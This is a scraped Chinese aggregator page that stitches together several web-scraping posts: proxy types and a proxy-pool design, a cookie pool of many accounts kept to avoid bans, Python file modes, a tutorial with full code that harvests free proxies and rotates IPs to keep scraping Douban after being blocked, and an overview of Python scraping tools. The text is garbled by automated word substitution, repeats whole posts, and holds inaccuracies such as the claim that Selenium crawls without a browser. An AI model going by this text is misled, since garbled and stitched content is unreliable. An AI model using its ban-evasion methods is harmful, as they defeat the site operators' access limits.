  口 透明代理:不但改動(dòng)了數據包,還會(huì )告訴服務(wù)器客戶(hù)端的真實(shí) IP。這種代理不僅能用緩存技術(shù)提升瀏覽速率,能用內容過(guò)濾提升安全性之外,并無(wú)其他明顯作用,最常見(jiàn)的事例是外網(wǎng)中的硬件防火墻。
  口 間諜代理:指組織或個(gè)人創(chuàng )建的用于記錄用戶(hù)傳輸的數據,然后進(jìn)行研究、監控等目的的代理服務(wù)器。
  網(wǎng)站上會(huì )有很多免費代理,比如南刺: 。但是這種免費代理大多數情況下都是不好用的,所以比較靠譜的方式是訂購付費代理。
  1、提供插口獲取海量代理,按天或則按時(shí)收費,如訊代理;
  如果信賴(lài)訊代理的話(huà),我們也可以不做代理池篩選,直接使用代理。不過(guò)我個(gè)人還是推薦使用代理池篩選,以提升代理可用機率。自己再做一次篩選,以確保代理可用。
  2、搭建了代理隧洞,直接設置固定域名代理,如阿布云代理。云代理在云端維護一個(gè)全局 IP 池供代理隧洞使用,池中的 IP 會(huì )不間斷更新。代理隧洞,配置簡(jiǎn)單,代理速率快且十分穩定。
  等于幫你做了一個(gè)云端的代理池,不用自己實(shí)現了。
  需要注意的是,代理 IP 池中部份 IP 可能會(huì )在當日重復出現多次。
  3、ADSL 撥號代理
  ADSL (Asymmetric Digital Subscriber Line,非對稱(chēng)數字用戶(hù)支路),它的上行和下行帶寬不對稱(chēng),它采用頻分復用技術(shù)把普通的電話(huà)線(xiàn)分成了電話(huà)、上行和下行 3 個(gè)相對獨立的信道,從而防止了互相之間的干擾。
  我們借助了 ADSL 通過(guò)拔號的形式上網(wǎng),需要輸入 ADSL 賬號和密碼,每次拔號就更換一個(gè) IP 這個(gè)特點(diǎn)。
  所以我們可以先訂購一臺動(dòng)態(tài)拔號 VPS 主機,這樣的主機服務(wù)商相當多。在這里使用了云立方,官方網(wǎng)站:
  代理不論是免費的還是付費的,都不能保證都是可用的,因為:
  1、此 IP 可能被其他人使用來(lái)爬取同樣的目標站點(diǎn)而被封禁。
  2、代理服務(wù)器忽然發(fā)生故障。
  3、網(wǎng)絡(luò )忙碌。
  4、購買(mǎi)的代理到期。
  5、等等
  所以,我們須要提早做篩選,將不可用的代理剔除掉,保留可用代理。這就須要代理池,來(lái)獲取隨機可用的代理。
  
  代理池分為 4 個(gè)模塊: 存儲模塊、獲取模塊、檢測模塊、接口模塊。
  口 存儲模塊使用 Redis 的有序集合,用來(lái)做代理的去重和狀態(tài)標示,同時(shí)它也是中心模塊和基礎模塊,將其他模塊串聯(lián)上去。
  口 獲取模塊定時(shí)從代理網(wǎng)站獲取代理,將獲取的代理傳遞給儲存模塊,并保存到數據庫。
  口 檢測模塊定時(shí)通過(guò)儲存模塊獲取所有代理,并對代理進(jìn)行檢查,根據不同的測量結果對代理設置不同的標示。
  口 接口模塊通過(guò)WebAPI 提供服務(wù)插口,接口通過(guò)聯(lián)接數據庫并通過(guò)Web 形式返回可用的代理。
  對于這兒的測量模塊,建議使用 aiohttp 而不是 requests,原因是:
  對于響應速率比較快的網(wǎng)站來(lái)說(shuō),requests 同步懇求和 aiohttp 異步懇求的療效差別沒(méi)這么大。但對于測量代理來(lái)說(shuō),檢測一個(gè)代理通常須要十多秒甚至幾十秒的時(shí)間,這時(shí)候使用 aiohttp 異步懇求庫的優(yōu)勢就大大彰顯下來(lái)了,效率可能會(huì )提升幾十倍不止。
 ?。?)有的數據必須要登陸能夠抓取。
 ?。?)有時(shí)候,登錄帳號也可以減少被封禁的幾率。
  做大規模抓取,我們就須要擁有好多帳號,每次懇求隨機選定一個(gè)帳號,這樣就減少了單個(gè)帳號的訪(fǎng)問(wèn)潁率,被封的機率又會(huì )大大增加。
  所以,我們可以維護一個(gè)登陸用的 Cookies 池。
  架構跟代理池一樣??蓞⒖忌衔?。
  待寫(xiě)
  python 的 open() 支持的模式可以是只讀/寫(xiě)入/追加,也是可以它們的組合型,具體如下:
  模式描述
  r
  以只讀方法打開(kāi)文件。文件的表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  rb
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于只讀。文件表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  r+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  rb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  w
  打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb
  以二進(jìn)制格式打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  w+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  a
  打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  ab
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  a+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在,文件指針將會(huì )放到文件的結尾。文件打開(kāi)時(shí)會(huì )是追加模式。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  ab+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  1、r+ 和 w+ 都是讀寫(xiě),有哪些區別?
  答:前者是假如沒(méi)有找到文件則拋錯,后者是假如沒(méi)有找到文件則手動(dòng)創(chuàng )建文件。
  2、a 可以看成是 w 的變種,附加上了”追加內容“的特點(diǎn)。
  一般調用 open() 的時(shí)侯還須要再調用 close()。 python 提供了一種縮寫(xiě)方式,那就是使用 with as 語(yǔ)法。在 with 控制塊結束時(shí),文件會(huì )手動(dòng)關(guān)掉,不需要 close() 了。調用寫(xiě)法如下:

Python代理IP爬蟲(chóng)的菜鳥(niǎo)使用教程

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 388 次瀏覽 ? 2020-06-24 08:01 ? 來(lái)自相關(guān)話(huà)題

  前言
  Python爬蟲(chóng)要經(jīng)歷爬蟲(chóng)、爬蟲(chóng)被限制、爬蟲(chóng)反限制的過(guò)程。當然后續還要網(wǎng)頁(yè)爬蟲(chóng)限制優(yōu)化爬蟲(chóng)代理,爬蟲(chóng)再反限制的一系列道高一尺魔高一丈的過(guò)程。爬蟲(chóng)的中級階段,添加headers和ip代理可以解決好多問(wèn)題。
  本人自己在爬取豆瓣讀書(shū)的時(shí)侯,就以為爬取次數過(guò)多,直接被封了IP.后來(lái)就研究了代理IP的問(wèn)題.
  (當時(shí)不知道哪些情況,差點(diǎn)態(tài)度就崩了...),下面給你們介紹一下我自己代理IP爬取數據的問(wèn)題,請你們強調不足之處.
  問(wèn)題
  這是我的IP被封了,一開(kāi)始好好的,我還以為是我的代碼問(wèn)題了
  
  思路:
  從網(wǎng)上查找了一些關(guān)于爬蟲(chóng)代理IP的資料,得到下邊的思路
  爬取一些IP,過(guò)濾掉不可用. 在requests的懇求的proxies參數加入對應的IP. 繼續爬取. 收工 好吧,都是屁話(huà),理論你們都懂,上面直接上代碼...
  思路有了,動(dòng)手上去.
  運行環(huán)境
  Python 3.7, Pycharm
  這些須要你們直接去搭建好環(huán)境...
  準備工作
  爬取IP地址的網(wǎng)站(國內高匿代理) 校準IP地址的網(wǎng)站 你之前被封IP的py爬蟲(chóng)腳本...
  上面的網(wǎng)址看個(gè)人的情況來(lái)選定
  爬取IP的完整代碼
  PS:簡(jiǎn)單的使用bs4獲取IP和端口號,沒(méi)有啥難度,里面降低了一個(gè)過(guò)濾不可用IP的邏輯
  關(guān)鍵地方都有注釋了
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : auto_archive_ios.py
# @Software: PyCharm
import requests
from bs4 import BeautifulSoup
import json
class GetIp(object):
"""抓取代理IP"""
def __init__(self):
"""初始化變量"""
self.url = 'http://www.xicidaili.com/nn/'
self.check_url = 'https://www.ip.cn/'
self.ip_list = []
@staticmethod
def get_html(url):
"""請求html頁(yè)面信息"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
try:
request = requests.get(url=url, headers=header)
request.encoding = 'utf-8'
html = request.text
return html
except Exception as e:
return ''
def get_available_ip(self, ip_address, ip_port):
"""檢測IP地址是否可用"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
ip_url_next = '://' + ip_address + ':' + ip_port
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
try:
r = requests.get(self.check_url, headers=header, proxies=proxies, timeout=3)
html = r.text
except:
print('fail-%s' % ip_address)
else:
print('success-%s' % ip_address)
soup = BeautifulSoup(html, 'lxml')
div = soup.find(class_='well')
if div:
print(div.text)
ip_info = {'address': ip_address, 'port': ip_port}
self.ip_list.append(ip_info)
def main(self):
"""主方法"""
web_html = self.get_html(self.url)
soup = BeautifulSoup(web_html, 'lxml')
ip_list = soup.find(id='ip_list').find_all('tr')
for ip_info in ip_list:
td_list = ip_info.find_all('td')
if len(td_list) &gt; 0:
ip_address = td_list[1].text
ip_port = td_list[2].text
# 檢測IP地址是否有效
self.get_available_ip(ip_address, ip_port)
# 寫(xiě)入有效文件
with open('ip.txt', 'w') as file:
json.dump(self.ip_list, file)
print(self.ip_list)
# 程序主入口
if __name__ == '__main__':
get_ip = GetIp()
get_ip.main()
  使用方式完整代碼
  PS: 主要是通過(guò)使用隨機的IP來(lái)爬取,根據request_status來(lái)判定這個(gè)IP是否可以用.
  為什么要這樣判定?
  主要是即使前面經(jīng)過(guò)了過(guò)濾,但是不代表在你爬取的時(shí)侯是可以用的,所以還是得多做一個(gè)判定.
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : get_douban_books.py
# @Software: PyCharm
from bs4 import BeautifulSoup
import datetime
import requests
import json
import random
ip_random = -1
article_tag_list = []
article_type_list = []
def get_html(url):
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'
}
global ip_random
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
while request_status != 200:
ip_random = -1
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
ip_random = ip_rand
request.encoding = 'gbk'
html = request.content
print(html)
return html
def get_proxie(random_number):
with open('ip.txt', 'r') as file:
ip_list = json.load(file)
if random_number == -1:
random_number = random.randint(0, len(ip_list) - 1)
ip_info = ip_list[random_number]
ip_url_next = '://' + ip_info['address'] + ':' + ip_info['port']
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
return random_number, proxies
# 程序主入口
if __name__ == '__main__':
"""只是爬取了書(shū)籍的第一頁(yè),按照評價(jià)排序"""
start_time = datetime.datetime.now()
url = 'https://book.douban.com/tag/&#63;view=type&amp;icn=index-sorttags-all'
base_url = 'https://book.douban.com/tag/'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
article_tag_list = soup.find_all(class_='tag-content-wrapper')
tagCol_list = soup.find_all(class_='tagCol')
for table in tagCol_list:
""" 整理分析數據 """
sub_type_list = []
a = table.find_all('a')
for book_type in a:
sub_type_list.append(book_type.text)
article_type_list.append(sub_type_list)
for sub in article_type_list:
for sub1 in sub:
title = '==============' + sub1 + '=============='
print(title)
print(base_url + sub1 + '&#63;start=0' + '&amp;type=S')
with open('book.text', 'a', encoding='utf-8') as f:
f.write('\n' + title + '\n')
f.write(url + '\n')
for start in range(0, 2):
# (start * 20) 分頁(yè)是0 20 40 這樣的
# type=S是按評價(jià)排序
url = base_url + sub1 + '&#63;start=%s' % (start * 20) + '&amp;type=S'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
li = soup.find_all(class_='subject-item')
for div in li:
info = div.find(class_='info').find('a')
img = div.find(class_='pic').find('img')
content = '書(shū)名:&lt;%s&gt;' % info['title'] + ' 書(shū)本圖片:' + img['src'] + '\n'
print(content)
with open('book.text', 'a', encoding='utf-8') as f:
f.write(content)
end_time = datetime.datetime.now()
print('耗時(shí): ', (end_time - start_time).seconds)
  為什么選擇國外高匿代理!
  
  總結
  使用這樣簡(jiǎn)單的代理IP,基本上就可以應付在爬爬爬著(zhù)被封IP的情況了.而且沒(méi)有使用自己的IP,間接的保護?!?!
  大家有其他的愈發(fā)快捷的方式,歡迎你們可以拿出來(lái)交流和討論爬蟲(chóng)代理,謝謝。 查看全部

  前言
  Python爬蟲(chóng)要經(jīng)歷爬蟲(chóng)、爬蟲(chóng)被限制、爬蟲(chóng)反限制的過(guò)程。當然后續還要網(wǎng)頁(yè)爬蟲(chóng)限制優(yōu)化爬蟲(chóng)代理,爬蟲(chóng)再反限制的一系列道高一尺魔高一丈的過(guò)程。爬蟲(chóng)的中級階段,添加headers和ip代理可以解決好多問(wèn)題。
  本人自己在爬取豆瓣讀書(shū)的時(shí)侯,就以為爬取次數過(guò)多,直接被封了IP.后來(lái)就研究了代理IP的問(wèn)題.
  (當時(shí)不知道哪些情況,差點(diǎn)態(tài)度就崩了...),下面給你們介紹一下我自己代理IP爬取數據的問(wèn)題,請你們強調不足之處.
  問(wèn)題
  這是我的IP被封了,一開(kāi)始好好的,我還以為是我的代碼問(wèn)題了
  
  思路:
  從網(wǎng)上查找了一些關(guān)于爬蟲(chóng)代理IP的資料,得到下邊的思路
  爬取一些IP,過(guò)濾掉不可用. 在requests的懇求的proxies參數加入對應的IP. 繼續爬取. 收工 好吧,都是屁話(huà),理論你們都懂,上面直接上代碼...
  思路有了,動(dòng)手上去.
  運行環(huán)境
  Python 3.7, Pycharm
  這些須要你們直接去搭建好環(huán)境...
  準備工作
  爬取IP地址的網(wǎng)站(國內高匿代理) 校準IP地址的網(wǎng)站 你之前被封IP的py爬蟲(chóng)腳本...
  上面的網(wǎng)址看個(gè)人的情況來(lái)選定
  爬取IP的完整代碼
  PS:簡(jiǎn)單的使用bs4獲取IP和端口號,沒(méi)有啥難度,里面降低了一個(gè)過(guò)濾不可用IP的邏輯
  關(guān)鍵地方都有注釋了
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : auto_archive_ios.py
# @Software: PyCharm
import requests
from bs4 import BeautifulSoup
import json
class GetIp(object):
"""抓取代理IP"""
def __init__(self):
"""初始化變量"""
self.url = 'http://www.xicidaili.com/nn/'
self.check_url = 'https://www.ip.cn/'
self.ip_list = []
@staticmethod
def get_html(url):
"""請求html頁(yè)面信息"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
try:
request = requests.get(url=url, headers=header)
request.encoding = 'utf-8'
html = request.text
return html
except Exception as e:
return ''
def get_available_ip(self, ip_address, ip_port):
"""檢測IP地址是否可用"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
ip_url_next = '://' + ip_address + ':' + ip_port
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
try:
r = requests.get(self.check_url, headers=header, proxies=proxies, timeout=3)
html = r.text
except:
print('fail-%s' % ip_address)
else:
print('success-%s' % ip_address)
soup = BeautifulSoup(html, 'lxml')
div = soup.find(class_='well')
if div:
print(div.text)
ip_info = {'address': ip_address, 'port': ip_port}
self.ip_list.append(ip_info)
def main(self):
"""主方法"""
web_html = self.get_html(self.url)
soup = BeautifulSoup(web_html, 'lxml')
ip_list = soup.find(id='ip_list').find_all('tr')
for ip_info in ip_list:
td_list = ip_info.find_all('td')
if len(td_list) &gt; 0:
ip_address = td_list[1].text
ip_port = td_list[2].text
# 檢測IP地址是否有效
self.get_available_ip(ip_address, ip_port)
# 寫(xiě)入有效文件
with open('ip.txt', 'w') as file:
json.dump(self.ip_list, file)
print(self.ip_list)
# 程序主入口
if __name__ == '__main__':
get_ip = GetIp()
get_ip.main()
  使用方式完整代碼
  PS: 主要是通過(guò)使用隨機的IP來(lái)爬取,根據request_status來(lái)判定這個(gè)IP是否可以用.
  為什么要這樣判定?
  主要是即使前面經(jīng)過(guò)了過(guò)濾,但是不代表在你爬取的時(shí)侯是可以用的,所以還是得多做一個(gè)判定.
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : get_douban_books.py
# @Software: PyCharm
from bs4 import BeautifulSoup
import datetime
import requests
import json
import random
ip_random = -1
article_tag_list = []
article_type_list = []
def get_html(url):
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'
}
global ip_random
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
while request_status != 200:
ip_random = -1
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
ip_random = ip_rand
request.encoding = 'gbk'
html = request.content
print(html)
return html
def get_proxie(random_number):
with open('ip.txt', 'r') as file:
ip_list = json.load(file)
if random_number == -1:
random_number = random.randint(0, len(ip_list) - 1)
ip_info = ip_list[random_number]
ip_url_next = '://' + ip_info['address'] + ':' + ip_info['port']
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
return random_number, proxies
# 程序主入口
if __name__ == '__main__':
"""只是爬取了書(shū)籍的第一頁(yè),按照評價(jià)排序"""
start_time = datetime.datetime.now()
url = 'https://book.douban.com/tag/&#63;view=type&amp;icn=index-sorttags-all'
base_url = 'https://book.douban.com/tag/'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
article_tag_list = soup.find_all(class_='tag-content-wrapper')
tagCol_list = soup.find_all(class_='tagCol')
for table in tagCol_list:
""" 整理分析數據 """
sub_type_list = []
a = table.find_all('a')
for book_type in a:
sub_type_list.append(book_type.text)
article_type_list.append(sub_type_list)
for sub in article_type_list:
for sub1 in sub:
title = '==============' + sub1 + '=============='
print(title)
print(base_url + sub1 + '&#63;start=0' + '&amp;type=S')
with open('book.text', 'a', encoding='utf-8') as f:
f.write('\n' + title + '\n')
f.write(url + '\n')
for start in range(0, 2):
# (start * 20) 分頁(yè)是0 20 40 這樣的
# type=S是按評價(jià)排序
url = base_url + sub1 + '&#63;start=%s' % (start * 20) + '&amp;type=S'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
li = soup.find_all(class_='subject-item')
for div in li:
info = div.find(class_='info').find('a')
img = div.find(class_='pic').find('img')
content = '書(shū)名:&lt;%s&gt;' % info['title'] + ' 書(shū)本圖片:' + img['src'] + '\n'
print(content)
with open('book.text', 'a', encoding='utf-8') as f:
f.write(content)
end_time = datetime.datetime.now()
print('耗時(shí): ', (end_time - start_time).seconds)
  為什么選擇國外高匿代理!
  
  總結
  使用這樣簡(jiǎn)單的代理IP,基本上就可以應付在爬爬爬著(zhù)被封IP的情況了.而且沒(méi)有使用自己的IP,間接的保護?!?!
  大家有其他的愈發(fā)快捷的方式,歡迎你們可以拿出來(lái)交流和討論爬蟲(chóng)代理,謝謝。

三種 Python 網(wǎng)絡(luò )內容抓取工具與爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 448 次瀏覽 ? 2020-06-23 08:01 ? 來(lái)自相關(guān)話(huà)題

  運用這種太棒的 Python 爬蟲(chóng)工具來(lái)獲取你須要的數據。
  在一個(gè)理想的世界里,你須要的所有數據都將以公開(kāi)而文檔完備的格式清晰地詮釋?zhuān)憧梢暂p松地下載并在任何你須要的地方使用。
  然而,在真實(shí)世界里,數據是零亂的,極少被打包成你須要的樣子,要么常常是過(guò)期的。
  你所須要的信息常常是埋藏在一個(gè)網(wǎng)站里。相比一些清晰地、有調養地呈現數據的網(wǎng)站,更多的網(wǎng)站則不是這樣的。爬取數據crawling、挖掘數據scraping、加工數據、整理數據那些是獲取整個(gè)網(wǎng)站結構來(lái)勾畫(huà)網(wǎng)站拓撲來(lái)搜集數據所必須的活動(dòng),這些可以是以網(wǎng)站的格式存儲的或則是存放在一個(gè)專(zhuān)有數據庫中。
  也許在不久的將來(lái),你須要通過(guò)爬取和挖掘來(lái)獲得一些你須要的數據,當然你幾乎肯定須要進(jìn)行一點(diǎn)點(diǎn)的編程來(lái)正確的獲取。你要如何做取決于你自己,但是我發(fā)覺(jué) Python 社區是一個(gè)挺好的提供者,它提供了工具、框架以及文檔來(lái)幫助你從網(wǎng)站上獲取數據。
  在我們進(jìn)行之前,這里有一個(gè)小小的懇求:在你做事情之前請思索,以及請耐心。抓取這件事情并不簡(jiǎn)單。不要把網(wǎng)站爬出來(lái)只是復制一遍,并其它人的工作當作是你自己的東西(當然,沒(méi)有許可)。要注意版權和許可,以及你所爬行的內容應用哪一個(gè)標準。尊重 robots.txt 文件。不要頻繁的針對一個(gè)網(wǎng)站,這將造成真實(shí)的訪(fǎng)問(wèn)者會(huì )碰到訪(fǎng)問(wèn)困難的問(wèn)題。
  在知曉那些警告過(guò)后,這里有一些太棒的 Python 網(wǎng)站爬蟲(chóng)工具,你可以拿來(lái)獲得你須要的數據。
  讓我們先從 pyspider 開(kāi)始介紹。這是一個(gè)帶有 web 界面的網(wǎng)路爬蟲(chóng),讓與讓之容易跟蹤多個(gè)爬蟲(chóng)。其具有擴展性,支持多個(gè)前端數據庫和消息隊列。它還具有一些便捷的特點(diǎn),從優(yōu)先級到再度訪(fǎng)問(wèn)抓取失敗的頁(yè)面linux 爬蟲(chóng)軟件,此外還有通過(guò)時(shí)間次序來(lái)爬取和其他的一些特點(diǎn)。Pyspider 同時(shí)支持 Python 2 和 Python 3。為了實(shí)現一個(gè)更快的爬取,你可以在分布式的環(huán)境下一次使用多個(gè)爬蟲(chóng)進(jìn)行爬取。
  Pyspyder 的基本用法都有良好的 文檔說(shuō)明 ,包括簡(jiǎn)單的代碼片斷。你能通過(guò)查看一個(gè) 在線(xiàn)的樣例 來(lái)體驗用戶(hù)界面。它在 Apache 2 許可證下開(kāi)源,Pyspyder 仍然在 GitHub 上積極地開(kāi)發(fā)。
  MechanicalSoup 是一個(gè)基于非常流行而異常多能的 HTML 解析庫 Beautiful Soup 建立的爬蟲(chóng)庫。如果你的爬蟲(chóng)須要相當的簡(jiǎn)單,但是又要求檢測一些選擇框或則輸入一些文字,而你又不想為這個(gè)任務(wù)單獨寫(xiě)一個(gè)爬蟲(chóng),那么這會(huì )是一個(gè)值得考慮的選擇。
  MechanicalSoup 在 MIT 許可證下開(kāi)源。查看 GitHub 上該項目的 example.py 樣例文件來(lái)獲得更多的用法。不幸的是,到目前為止,這個(gè)項目還沒(méi)有一個(gè)挺好的文檔。
  Scrapy 是一個(gè)有著(zhù)活躍社區支持的抓取框架,在那里你可以建造自己的抓取工具。除了爬取和解析工具,它能夠將它搜集的數據以 JSON 或者 CSV 之類(lèi)的格式輕松輸出,并儲存在一個(gè)你選擇的前端數據庫。它還有許多外置的任務(wù)擴充linux 爬蟲(chóng)軟件,例如 cookie 處理、代理誤導、限制爬取深度等等,同時(shí)還可以構建你自己附加的 API。
  要了解 Scrapy,你可以查看網(wǎng)上的文檔或則是訪(fǎng)問(wèn)它眾多的社區資源,包括一個(gè) IRC 頻道、Reddit 子版塊以及關(guān)注她們的 StackOverflow 標簽。Scrapy 的代碼在 3 句版 BSD 許可證下開(kāi)源,你可以在 GitHub 上找到它們。
  如果你完全不熟悉編程,Portia 提供了一個(gè)易用的可視化的界面。 則提供一個(gè)托管的版本。
  這遠不是一個(gè)完整的列表,當然,如果你是一個(gè)編程專(zhuān)家,你可以選擇采取你自己的方式而不是使用這種框架中的一個(gè)?;蛘吣惆l(fā)覺(jué)一個(gè)用其他語(yǔ)言編撰的替代品。例如 Python 編程者可能更喜歡 Python 附帶的Selenium,它可以在不使用實(shí)際瀏覽器的情況下進(jìn)行爬取。如果你有喜歡的爬取和挖掘工具,請在下邊評論使我們曉得。
 ?。}圖:You as a Machine. Modified by Rikki Endsley. CC BY-SA 2.0)
  via: /resources/python/web-scraper-crawler 查看全部

  運用這種太棒的 Python 爬蟲(chóng)工具來(lái)獲取你須要的數據。
  在一個(gè)理想的世界里,你須要的所有數據都將以公開(kāi)而文檔完備的格式清晰地詮釋?zhuān)憧梢暂p松地下載并在任何你須要的地方使用。
  然而,在真實(shí)世界里,數據是零亂的,極少被打包成你須要的樣子,要么常常是過(guò)期的。
  你所須要的信息常常是埋藏在一個(gè)網(wǎng)站里。相比一些清晰地、有調養地呈現數據的網(wǎng)站,更多的網(wǎng)站則不是這樣的。爬取數據crawling、挖掘數據scraping、加工數據、整理數據那些是獲取整個(gè)網(wǎng)站結構來(lái)勾畫(huà)網(wǎng)站拓撲來(lái)搜集數據所必須的活動(dòng),這些可以是以網(wǎng)站的格式存儲的或則是存放在一個(gè)專(zhuān)有數據庫中。
  也許在不久的將來(lái),你須要通過(guò)爬取和挖掘來(lái)獲得一些你須要的數據,當然你幾乎肯定須要進(jìn)行一點(diǎn)點(diǎn)的編程來(lái)正確的獲取。你要如何做取決于你自己,但是我發(fā)覺(jué) Python 社區是一個(gè)挺好的提供者,它提供了工具、框架以及文檔來(lái)幫助你從網(wǎng)站上獲取數據。
  在我們進(jìn)行之前,這里有一個(gè)小小的懇求:在你做事情之前請思索,以及請耐心。抓取這件事情并不簡(jiǎn)單。不要把網(wǎng)站爬出來(lái)只是復制一遍,并其它人的工作當作是你自己的東西(當然,沒(méi)有許可)。要注意版權和許可,以及你所爬行的內容應用哪一個(gè)標準。尊重 robots.txt 文件。不要頻繁的針對一個(gè)網(wǎng)站,這將造成真實(shí)的訪(fǎng)問(wèn)者會(huì )碰到訪(fǎng)問(wèn)困難的問(wèn)題。
  在知曉那些警告過(guò)后,這里有一些太棒的 Python 網(wǎng)站爬蟲(chóng)工具,你可以拿來(lái)獲得你須要的數據。
  讓我們先從 pyspider 開(kāi)始介紹。這是一個(gè)帶有 web 界面的網(wǎng)路爬蟲(chóng),讓與讓之容易跟蹤多個(gè)爬蟲(chóng)。其具有擴展性,支持多個(gè)前端數據庫和消息隊列。它還具有一些便捷的特點(diǎn),從優(yōu)先級到再度訪(fǎng)問(wèn)抓取失敗的頁(yè)面linux 爬蟲(chóng)軟件,此外還有通過(guò)時(shí)間次序來(lái)爬取和其他的一些特點(diǎn)。Pyspider 同時(shí)支持 Python 2 和 Python 3。為了實(shí)現一個(gè)更快的爬取,你可以在分布式的環(huán)境下一次使用多個(gè)爬蟲(chóng)進(jìn)行爬取。
  Pyspyder 的基本用法都有良好的 文檔說(shuō)明 ,包括簡(jiǎn)單的代碼片斷。你能通過(guò)查看一個(gè) 在線(xiàn)的樣例 來(lái)體驗用戶(hù)界面。它在 Apache 2 許可證下開(kāi)源,Pyspyder 仍然在 GitHub 上積極地開(kāi)發(fā)。
  MechanicalSoup 是一個(gè)基于非常流行而異常多能的 HTML 解析庫 Beautiful Soup 建立的爬蟲(chóng)庫。如果你的爬蟲(chóng)須要相當的簡(jiǎn)單,但是又要求檢測一些選擇框或則輸入一些文字,而你又不想為這個(gè)任務(wù)單獨寫(xiě)一個(gè)爬蟲(chóng),那么這會(huì )是一個(gè)值得考慮的選擇。
  MechanicalSoup 在 MIT 許可證下開(kāi)源。查看 GitHub 上該項目的 example.py 樣例文件來(lái)獲得更多的用法。不幸的是,到目前為止,這個(gè)項目還沒(méi)有一個(gè)挺好的文檔。
  Scrapy 是一個(gè)有著(zhù)活躍社區支持的抓取框架,在那里你可以建造自己的抓取工具。除了爬取和解析工具,它能夠將它搜集的數據以 JSON 或者 CSV 之類(lèi)的格式輕松輸出,并儲存在一個(gè)你選擇的前端數據庫。它還有許多外置的任務(wù)擴充linux 爬蟲(chóng)軟件,例如 cookie 處理、代理誤導、限制爬取深度等等,同時(shí)還可以構建你自己附加的 API。
  要了解 Scrapy,你可以查看網(wǎng)上的文檔或則是訪(fǎng)問(wèn)它眾多的社區資源,包括一個(gè) IRC 頻道、Reddit 子版塊以及關(guān)注她們的 StackOverflow 標簽。Scrapy 的代碼在 3 句版 BSD 許可證下開(kāi)源,你可以在 GitHub 上找到它們。
